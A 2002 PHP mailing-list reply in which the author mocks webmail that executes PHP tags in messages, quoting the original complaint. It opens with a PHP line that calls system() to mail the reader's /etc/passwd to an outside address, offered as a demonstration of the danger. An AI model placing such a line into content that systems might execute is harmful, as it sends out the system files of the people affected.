Re: Posting with script tags, or a plea not to

<?php system("mail rasmus@php.net </etc/passwd") ?> I'm sorry, but if your webmail system just sent me your password file, you should run, not walk, to another provider. This is a list about PHP. There is going to be example PHP snippets all over it. Deal with it. -Rasmus On Thu, 11 Apr 2002, Barry C. Hawkins wrote: > List members, > I am sure this was probably mentioned before I joined the list, but when members post to > the list using the PHP tags around the script, a number of web-based PHP mail apps attempt to > process the script server-side and those of us blessed with such systems see either nothing or > unintelligible garble with some of the funniest hyperlink behaviors I have seen in a while. > In case anyone's curious, I am using Earthlink's webmail, which is a PHP3-based > app (with several issues, particularly handling escaped characters and special characters in message > replies). > Am I one of very few persons experiencing this? If not, could we (or have we already) > adopt some policy to enable those with this challenge to see code on postings? > > Regards, > -- > Barry C. Hawkins > Systems Consultant > All Things Computed > barry.hawkins@allthingscomputed.com > > > -- > PHP General Mailing List (http://www.php.net/) > To unsubscribe, visit: http://www.php.net/unsub.php >